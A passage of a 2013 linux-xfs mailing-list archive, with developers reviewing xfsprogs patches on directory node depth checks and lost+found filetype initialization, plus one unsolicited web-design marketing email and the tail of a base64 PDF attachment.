MSAwMDAwMCBuIAowMDAwMDk1OTE4IDAwMDAwIG4gCjAwMDAwOTYyMTUgMDAwMDAgbiAKMDAwMDA5 NjQ5OSAwMDAwMCBuIAowMDAwMDk2NzgwIDAwMDAwIG4gCjAwMDAwOTY5ODIgMDAwMDAgbiAKMDAw MDA5NzI1MSAwMDAwMCBuIAowMDAwMDk3NTM4IDAwMDAwIG4gCjAwMDAwOTc4MDcgMDAwMDAgbiAK MDAwMDA5ODE2NyAwMDAwMCBuIAowMDAwMDk4NDM3IDAwMDAwIG4gCjAwMDAwOTg3MjQgMDAwMDAg biAKMDAwMDA5ODkyNiAwMDAwMCBuIAowMDAwMDk5MjI2IDAwMDAwIG4gCjAwMDAwOTk0MzEgMDAw MDAgbiAKMDAwMDA5OTcxMiAwMDAwMCBuIAowMDAwMDk5OTk2IDAwMDAwIG4gCjAwMDAxMDAyNzEg MDAwMDAgbiAKMDAwMDEwMDU2NSAwMDAwMCBuIAowMDAwMTAwNzcyIDAwMDAwIG4gCjAwMDAxMDEw NDEgMDAwMDAgbiAKMDAwMDEwMTI0MyAwMDAwMCBuIAowMDAwMTAxNTc5IDAwMDAwIG4gCjAwMDAx MDE4NDggMDAwMDAgbiAKMDAwMDEwMjEzNSAwMDAwMCBuIAowMDAwMTAyMzQwIDAwMDAwIG4gCjAw MDAxMDI2NDMgMDAwMDAgbiAKMDAwMDEwMjkyNCAwMDAwMCBuIAowMDAwMTAzMjAyIDAwMDAwIG4g CjAwMDAxMDM0MDcgMDAwMDAgbiAKMDAwMDEwMzY3OSAwMDAwMCBuIAowMDAwMTAzOTczIDAwMDAw IG4gCjAwMDAxMDQxODIgMDAwMDAgbiAKMDAwMDEwNDQ1NCAwMDAwMCBuIAowMDAwMTA0Nzc1IDAw MDAwIG4gCjAwMDAxMDUwNDUgMDAwMDAgbiAKMDAwMDEwNTMzNiAwMDAwMCBuIAowMDAwMTA1NTQx IDAwMDAwIG4gCjAwMDAxMDU4NDEgMDAwMDAgbiAKMDAwMDEwNjA0MyAwMDAwMCBuIAowMDAwMTA2 MzI3IDAwMDAwIG4gCjAwMDAxMDY2MDggMDAwMDAgbiAKMDAwMDEwNjgxMCAwMDAwMCBuIAowMDAw MTA3MDE1IDAwMDAwIG4gCjAwMDAxMDcyODQgMDAwMDAgbiAKMDAwMDEwNzU3NCAwMDAwMCBuIAow MDAwMTA3ODUyIDAwMDAwIG4gCjAwMDAxMDgxMjcgMDAwMDAgbiAKMDAwMDEwODM5NyAwMDAwMCBu IAowMDAwMTA4Njk0IDAwMDAwIG4gCjAwMDAxMDkwMDAgMDAwMDAgbiAKMDAwMDEwOTI4NCAwMDAw MCBuIAowMDAwMTA5NTY4IDAwMDAwIG4gCjAwMDAxMDk4MzQgMDAwMDAgbiAKMDAwMDExMDEyOCAw MDAwMCBuIAowMDAwMTEwNDAwIDAwMDAwIG4gCjAwMDAxMTA2MDkgMDAwMDAgbiAKMDAwMDExMDg4 NCAwMDAwMCBuIAowMDAwMTExMTU2IDAwMDAwIG4gCjAwMDAxMTE0NTkgMDAwMDAgbiAKMDAwMDEx MTY4OCAwMDAwMCBuIAowMDAwMTExODkwIDAwMDAwIG4gCjAwMDAxMTIyMDUgMDAwMDAgbiAKMDAw MDExMjQ4NyAwMDAwMCBuIAowMDAwMTEyNzcxIDAwMDAwIG4gCjAwMDAxMTMwNDAgMDAwMDAgbiAK MDAwMDExMzMzNyAwMDAwMCBuIAowMDAwMTEzNjA2IDAwMDAwIG4gCjAwMDAxMTM4NzkgMDAwMDAg biAKMDAwMDExNDE1NCAwMDAwMCBuIAowMDAwMTE0MzU5IDAwMDAwIG4gCjAwMDAxMTQ1NjEgMDAw MDAgbiAKMDAwMDExNDg3OSAwMDAwMCBuIAowMDAwMTE1MTMwIDAwMDAwIG4gCjAwMDAxMTU0Mzcg MDAwMDAgbiAKMDAwMDExNTcyMSAwMDAwMCBuIAowMDAwMTE1OTMwIDAwMDAwIG4gCjAwMDAxMTYy MjAgMDAwMDAgbiAKMDAwMDExNjQyNSAwMDAwMCBuIAowMDAwMTE2NzA5IDAwMDAwIG4gCjAwMDAx MTcwMTIgMDAwMDAgbiAKMDAwMDExNzI5MCAwMDAwMCBuIAowMDAwMTE3NTgwIDAwMDAwIG4gCjAw MDAxMTc5MDEgMDAwMDAgbiAKMDAwMDExODMyMSAwMDAwMCBuIAowMDAwMTE4NjM5IDAwMDAwIG4g CjAwMDAxMTg5MjMgMDAwMDAgbiAKMDAwMDExOTIyMCAwMDAwMCBuIAowMDAwMTE5NDkyIDAwMDAw IG4gCjAwMDAxMTk5MDkgMDAwMDAgbiAKMDAwMDEyMDE5OSAwMDAwMCBuIAowMDAwMTIwNTM1IDAw MDAwIG4gCjAwMDAxMjA5NDAgMDAwMDAgbiAKMDAwMDEyMTI4MiAwMDAwMCBuIAowMDAwMTIxNTg1 IDAwMDAwIG4gCjAwMDAxMjE5OTAgMDAwMDAgbiAKMDAwMDEyMjM5NSAwMDAwMCBuIAowMDAwMTIy Njg5IDAwMDAwIG4gCjAwMDAxMjI4OTQgMDAwMDAgbiAKMDAwMDEyMzIxOSAwMDAwMCBuIAowMDAw MTIzNjE1IDAwMDAwIG4gCjAwMDAxMjM5NjYgMDAwMDAgbiAKMDAwMDEyNDE3MSAwMDAwMCBuIAow MDAwMTI0NDg2IDAwMDAwIG4gCjAwMDAxMjQ4NjEgMDAwMDAgbiAKMDAwMDEyNTI0MiAwMDAwMCBu IAowMDAwMTI1NDUwIDAwMDAwIG4gCjAwMDAxMjU3NjggMDAwMDAgbiAKMDAwMDEyNjA5NSAwMDAw MCBuIAowMDAwMTI2Mjk3IDAwMDAwIG4gCjAwMDAxMjY2NjkgMDAwMDAgbiAKMDAwMDEyNzIwMiAw MDAwMCBuIAowMDAwMTI3NTU2IDAwMDAwIG4gCjAwMDAxMjc5MTYgMDAwMDAgbiAKMDAwMDEyODEx OCAwMDAwMCBuIAowMDAwMTI4NDg3IDAwMDAwIG4gCjAwMDAxMjg2OTEgMDAwMDAgbiAKMDAwMDEy OTAxMiAwMDAwMCBuIAowMDAwMTI5MjE3IDAwMDAwIG4gCjAwMDAxMjk1NjEgMDAwMDAgbiAKMDAw MDEyOTc2NiAwMDAwMCBuIAowMDAwMTMwMjg2IDAwMDAwIG4gCjAwMDAxMzA2MDQgMDAwMDAgbiAK MDAwMDEzMDkxNiAwMDAwMCBuIAowMDAwMTMxMTE4IDAwMDAwIG4gCjAwMDAxMzE1MTMgMDAwMDAg biAKMDAwMDEzMTcxNSAwMDAwMCBuIAowMDAwMTMyMDMwIDAwMDAwIG4gCjAwMDAxMzI1MjIgMDAw MDAgbiAKMDAwMDEzMjc5NSAwMDAwMCBuIAowMDAwMTMzMDcxIDAwMDAwIG4gCjAwMDAxMzM1MDMg MDAwMDAgbiAKMDAwMDEzMzcwNSAwMDAwMCBuIAowMDAwMTMzOTg5IDAwMDAwIG4gCjAwMDAxMzQ0 MzAgMDAwMDAgbiAKMDAwMDEzNDg3NyAwMDAwMCBuIAowMDAwMTM1MjQ5IDAwMDAwIG4gCjAwMDAx MzU1NzYgMDAwMDAgbiAKMDAwMDEzNTg3NiAwMDAwMCBuIAowMDAwMTM2MDc4IDAwMDAwIG4gCjAw MDAxMzYzMjEgMDAwMDAgbiAKMDAwMDEzNjYwMiAwMDAwMCBuIAowMDAwMTM2ODgzIDAwMDAwIG4g CjAwMDAxMzcwODUgMDAwMDAgbiAKMDAwMDEzNzM2MCAwMDAwMCBuIAowMDAwMTM3NjQ3IDAwMDAw IG4gCjAwMDAxMzc5MjggMDAwMDAgbiAKMDAwMDEzODIwNiAwMDAwMCBuIAowMDAwMTM4NDgxIDAw MDAwIG4gCjAwMDAxMzg3NTAgMDAwMDAgbiAKMDAwMDEzOTAyMiAwMDAwMCBuIAowMDAwMTM5Mjg1 IDAwMDAwIG4gCjAwMDAxMzk1NTEgMDAwMDAgbiAKMDAwMDEzOTgxMSAwMDAwMCBuIAowMDAwMTQw MDc3IDAwMDAwIG4gCjAwMDAxNDAzMzcgMDAwMDAgbiAKMDAwMDE0MDYwNiAwMDAwMCBuIAowMDAw MTQwODA4IDAwMDAwIG4gCjAwMDAxNDEwNjIgMDAwMDAgbiAKMDAwMDE0MTMyNiAwMDAwMCBuIAow MDAwMTQxNTgzIDAwMDAwIG4gCjAwMDAxNDE4NTUgMDAwMDAgbiAKMDAwMDE0MjEwNiAwMDAwMCBu IAowMDAwMTQyMzc4IDAwMDAwIG4gCjAwMDAxNDI2MjkgMDAwMDAgbiAKMDAwMDE0MjkwNCAwMDAw MCBuIAowMDAwMTQzMTU4IDAwMDAwIG4gCjAwMDAxNDM0MzMgMDAwMDAgbiAKMDAwMDE0MzY5MyAw MDAwMCBuIAowMDAwMTQzOTcyIDAwMDAwIG4gCjAwMDAxNDQyMzggMDAwMDAgbiAKMDAwMDE0NDUy OCAwMDAwMCBuIAowMDAwMTQ0NzMwIDAwMDAwIG4gCjAwMDAxNDUwMDIgMDAwMDAgbiAKMDAwMDE0 NTQ0MCAwMDAwMCBuIAowMDAwMTQ1ODc1IDAwMDAwIG4gCjAwMDAxNDYyOTggMDAwMDAgbiAKMDAw MDE0NjY5MiAwMDAwMCBuIAowMDAwMTQ3MDM4IDAwMDAwIG4gCjAwMDAxNDczNDEgMDAwMDAgbiAK MDAwMDE0NzU5OCAwMDAwMCBuIAowMDAwMTQ3ODAzIDAwMDAwIG4gCjAwMDAxNDgwMTIgMDAwMDAg biAKMDAwMDIwMTgzMiAwMDAwMCBuIAowMDAwMTU3ODIwIDAwMDAwIG4gCjAwMDAyMDE5MzYgMDAw MDAgbiAKMDAwMDE2OTMxMCAwMDAwMCBuIAowMDAwMjAyMDQwIDAwMDAwIG4gCjAwMDAyMDIxNDQg MDAwMDAgbiAKMDAwMDIwMjM0NiAwMDAwMCBuIAowMDAwMjAyNTcyIDAwMDAwIG4gCjAwMDAyMDM2 MTkgMDAwMDAgbiAKMDAwMDIwMzgxNiAwMDAwMCBuIAowMDAwMjA0MDQxIDAwMDAwIG4gCjAwMDAy MDUxMjYgMDAwMDAgbiAKMDAwMDIwNTMyMyAwMDAwMCBuIAowMDAwMjA1NTQ5IDAwMDAwIG4gCjAw MDAyMDY1OTkgMDAwMDAgbiAKMDAwMDIwNjgwNiAwMDAwMCBuIAowMDAwMjA3MDQyIDAwMDAwIG4g CjAwMDAxOTg1MzMgMDAwMDAgbiAKMDAwMDE5ODczMCAwMDAwMCBuIAowMDAwMjAwODMxIDAwMDAw IG4gCjAwMDAyMDEwMTMgMDAwMDAgbiAKdHJhaWxlcgo8PCAKICAgL1Jvb3QgMSAwIFIKICAgL0lu Zm8gNSAwIFIKICAgL1NpemUgNTU3Cj4+CnN0YXJ0eHJlZgoyMDgwOTQKJSVFT0YK ------=_Part_512_473743183.1379529217346-- From tinguely@sgi.com Wed Sep 18 15:55:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 705C429E02 for ; Wed, 18 Sep 2013 15:55:44 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D497304039; Wed, 18 Sep 2013 13:55:40 -0700 (PDT) Message-ID: <523A134B.6010609@sgi.com> Date: Wed, 18 Sep 2013 15:55:39 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" , Eric Sandeen Subject: Re: [PATCH] xfs_check: fix test for too-high level in v2 dir node References: <52322B67.80305@redhat.com> <523A0086.1080000@sgi.com> <523A0AF0.3000507@sandeen.net> In-Reply-To: <523A0AF0.3000507@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/18/13 15:20, Eric Sandeen wrote: > On 9/18/13 2:35 PM, Mark Tinguely wrote: >> On 09/12/13 16:00, Eric Sandeen wrote: >>> The test as it stands allows level == XFS_DA_NODE_MAXDEPTH (5), >>> but a max depth of 5 equates to level values of 0 through 4. >>> >>> Level 5 would be a depth of 6. >>> >>> Signed-off-by: Eric Sandeen >>> --- ... >> I think the current code is correct. > So confused. :/ (Maybe the cursor array needs to be 1 bigger?) > > -Eric Well, I am frequently noted as being permanently confused! I was referring to the kernel use of XFS_DA_NODE_MAXDEPTH. All the comparison indicate that having a value of 1 to XFS_DA_NODE_MAXDEPTH as being okay. When it accesses the xfs_da_state_blk_t blk[XFS_DA_NODE_MAXDEPTH], it decrements the index first there is no blk[] entry for a leaf that is why it does not need another entry. I need to study this more. --Mark. From tinguely@sgi.com Wed Sep 18 15:55:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 680B829E0E for ; Wed, 18 Sep 2013 15:55:59 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id AFA4C304039; Wed, 18 Sep 2013 13:55:58 -0700 (PDT) Message-ID: <523A135D.7030509@sgi.com> Date: Wed, 18 Sep 2013 15:55:57 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfsprogs: initialize filetype for lost+found creation References: <52388C61.1000001@sandeen.net> In-Reply-To: <52388C61.1000001@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/17/13 12:07, Eric Sandeen wrote: > If we create lost+found make sure it's got the proper filetype. > > Signed-off-by: Eric Sandeen > --- > > (sorry, untested, not sure how to force creation when I can't use > xfs_db to craft a filesystem that needs lost+found) The {lib}xfs_dir_lookup() doesn't use the field - just like extended attributes use xfs_names but it won't use the field entry, but it does not hurt to have it initialized to something. Reviewed-by: Mark Tinguely From india.emarketing1@gmail.com Wed Sep 18 15:59:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLY,HTML_MESSAGE,MIME_QP_LONG_LINE,MPART_ALT_DIFF autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 17E7229E03 for ; Wed, 18 Sep 2013 15:59:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75B95AC005 for ; Wed, 18 Sep 2013 13:59:35 -0700 (PDT) X-ASG-Debug-ID: 1379537967-04cb6c153d11869f0001-w1Z2WR Received: from test.com (96-46-1-108.lucn.us [96.46.1.108]) by cuda.sgi.com with ESMTP id 1es2qSpfh3KjCpSQ for ; Wed, 18 Sep 2013 13:59:29 -0700 (PDT) X-Barracuda-Envelope-From: india.emarketing1@gmail.com X-Barracuda-Apparent-Source-IP: 96.46.1.108 Received: from VIVEK ([116.73.52.135]) by test.com with MailEnable ESMTP; Thu, 19 Sep 2013 04:59:21 +0800 Message-ID: <410-220139318205920281@VIVEK> To: "Sairam" From: "Voivo-Infotech/19/India" Subject: 19/09/2013:Website-Designing/Android-IphoneApps Date: Thu, 19 Sep 2013 02:29:20 +0500 X-ASG-Orig-Subj: 19/09/2013:Website-Designing/Android-IphoneApps MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_1288414361827575205920375" X-Barracuda-Connect: 96-46-1-108.lucn.us[96.46.1.108] X-Barracuda-Start-Time: 1379537969 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.58 X-Barracuda-Spam-Status: No, SCORE=1.58 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_MISMATCH_TO, BSF_SC0_MV0224, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, BSF_SC0_TG035a, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, MPART_ALT_DIFF, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS ------=_NextPart_1288414361827575205920375 Content-type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09 ------=_NextPart_1288414361827575205920375 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

Hi,=20

 

Greetings=20 from Voivo InfoTech!

 

Like=20 many organizations and corporations/companies worldwide, your Company may = be=20 seeking a Digital=20 Media Agency for Web=20 Designing/SEO services too=2E

 

If=20 that's the case, Voivo=20 Infotech would=20 like to offer itself as being worth a closer look=2E Voivo=20 Infotech is=20 one of a leading and  long-established Web=20 Designing/SEO services company=20 (Digital Media Agency) in=20 India, with experience spanning diverse domains of business and public=20 life=2E

We=20 are Passionate, Innovative and Unwavering in our mission to deliver excell= ent=20 Designs and building Web Marketing Strategies=2E 

 

About=20 our SUPER Services 

          Whether=20 you are a fast-growing start-up or a billion dollar brick and mortar compa= ny,=20 our mission is the same: to make your online marketing efforts more=20 successful=2E Voivo=20 Infotech approach=20 is akin to a symphony=2E We harmonize together complex, innovative organic= SEO,=20 cutting-edge Social Media, and rigorous Conversion Optimization=2E The res= ult=3F The=20 beautiful sound of more value being delivered from every dollar you spend=20= online=2E 
 

Looking for a Stunning Website=3F

  • Graphics=20
  • Static=20 HTML=20
  • Flash=20 Media=20
  • Corporate=20 Presentations=20
  • Identity=20 Kits

More than 200 Web 2=2E0 =20 Portals Delivered=2E

  • Web=20 2=2E0=20
  • CMS=20 Portals=20
  • E=20 Commerce=20
  • Web=20 Applications=20
  • Mobile=20 Applications

This is what we are made for=2E<= SPAN=20 style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Arial','sans-serif';= mso-fareast-font-family: 'Times New Roman'">

  • SEO=20
  • Paid=20 Marketing=20
  • Social=20 Media=20
  • Viral=20 Marketing

WEB Designing 

The Three Phases:

  • Research=20 and Planning=20
  • Design=20 and Prototyping=20
  • Production
Mobile application(Both Android/I-Phone=20 Apps)
 

SEO Approach 

  • Keyword =20 Research=20
  • On=20 =96 site Optimization=20
  • Content=20 Optimization=20
  • In=20 =96 bound Link Building

 

Our=20 website/portfolio link is available on request=2E

 

Voivo=20 Infotech

India

Mobile:=20 +91 9869285315


IMPORTANT=20 NOTICE: CONFIDENTIAL AND LEGAL PRIVILEGE
This electronic communication = is=20 intended by the sender only for the access and use by the addressee and ma= y=20 contain legally privileged and confidential information=2E If you are not = the=20 addressee, you are notified that any transmission, disclosure, use, access= to,=20 storage or photocopying of this e-mail and any attachments is strictly=20 prohibited=2E The legal privilege and confidentiality attached to this e-m= ail and=20 any attachments is not waived, lost or destroyed by reason of a mistaken=20= delivery to you=2E If you have received this e-mail and any attachments in= error=20 please immediately delete it and all copies from your system and notify th= e=20 sender by e-mail to remove from the mailing list pl reply to :- ushaemarketing1@gmail=2Ecom

------=_NextPart_1288414361827575205920375-- From sandeen@sandeen.net Wed Sep 18 16:04:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 68C5529E03 for ; Wed, 18 Sep 2013 16:04:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5BB02304032 for ; Wed, 18 Sep 2013 14:04:45 -0700 (PDT) X-ASG-Debug-ID: 1379538284-04cb6c153d11871b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id cBUvMtoTKjcoODuk for ; Wed, 18 Sep 2013 14:04:44 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BA3ED61A28F3; Wed, 18 Sep 2013 16:04:43 -0500 (CDT) Message-ID: <523A156A.5040502@sandeen.net> Date: Wed, 18 Sep 2013 16:04:42 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: xfs-oss Subject: Re: [PATCH] xfsprogs: initialize filetype for lost+found creation References: <52388C61.1000001@sandeen.net> <523A135D.7030509@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: initialize filetype for lost+found creation In-Reply-To: <523A135D.7030509@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379538284 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140733 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/18/13 3:55 PM, Mark Tinguely wrote: > On 09/17/13 12:07, Eric Sandeen wrote: >> If we create lost+found make sure it's got the proper filetype. >> >> Signed-off-by: Eric Sandeen >> --- >> >> (sorry, untested, not sure how to force creation when I can't use >> xfs_db to craft a filesystem that needs lost+found) > > The {lib}xfs_dir_lookup() doesn't use the field - just like extended attributes use xfs_names but it won't use the field entry, but it does not hurt to have it initialized to something. Thanks for the review - just FWIW, I was thinking that it needs to be initialized so that when created, it is created with the proper type, rather than random stack noise. It seems, though, that we're still missing bits in libxfs to actually write the types to disk; I'll look into that. Thanks, -Eric > Reviewed-by: Mark Tinguely > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From stevie.trujillo@gmail.com Wed Sep 18 16:05:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F84129E04 for ; Wed, 18 Sep 2013 16:05:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3A619304043 for ; Wed, 18 Sep 2013 14:05:40 -0700 (PDT) X-ASG-Debug-ID: 1379538329-04bdf05387260050001-NocioJ Received: from mail-la0-f52.google.com (mail-la0-f52.google.com [209.85.215.52]) by cuda.sgi.com with ESMTP id sdn2jiJ17857U4hN (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Sep 2013 14:05:30 -0700 (PDT) X-Barracuda-Envelope-From: stevie.trujillo@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.52 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.52] Received: by mail-la0-f52.google.com with SMTP id ev20so6079144lab.39 for ; Wed, 18 Sep 2013 14:05:28 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.52] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.52] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:message-id:mime-version:content-type :content-transfer-encoding; bh=6mT+RDd7FqOkhANCN9Iyl+Klb70xyds7XzxmSWkbhEg=; b=0V9xUFkFSanaVE4ry1CyRKWPvRM2Ld8PQONhwtjUmhvzxp3AnGywRv0ErOwyeoF3ok FPh5r0Wf+JYQQjAG9MFnpnKFoswhgHMHqAqls36nDdLlRWbTkRP7BbRSToQ6obD5Bas+ Or/OwODGtp8y8YI5T9TKSDtgQtY9iVV3AVXrYvP1Yxk4UVkZgkb5mWSkGkqec7O8aHlH OWKTEdyAmdFL8uPoO+yKYpHuP65XqUmRCHr2whp/aHt94J2Y9yrYfpdhc03zUSIMo5J2 SNgprD0sUItbqFRrVPwhsLXIxAcGzOn/lonClNJVaduEFiH18wcdsD4Trc5aoldEPDgD PGOA== X-Received: by 10.112.28.109 with SMTP id a13mr36438558lbh.3.1379538328565; Wed, 18 Sep 2013 14:05:28 -0700 (PDT) Received: from localhost ([80.203.44.160]) by mx.google.com with ESMTPSA id js17sm1916160lab.5.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Wed, 18 Sep 2013 14:05:26 -0700 (PDT) Date: Wed, 18 Sep 2013 23:05:14 +0200 From: Stevie Trujillo To: 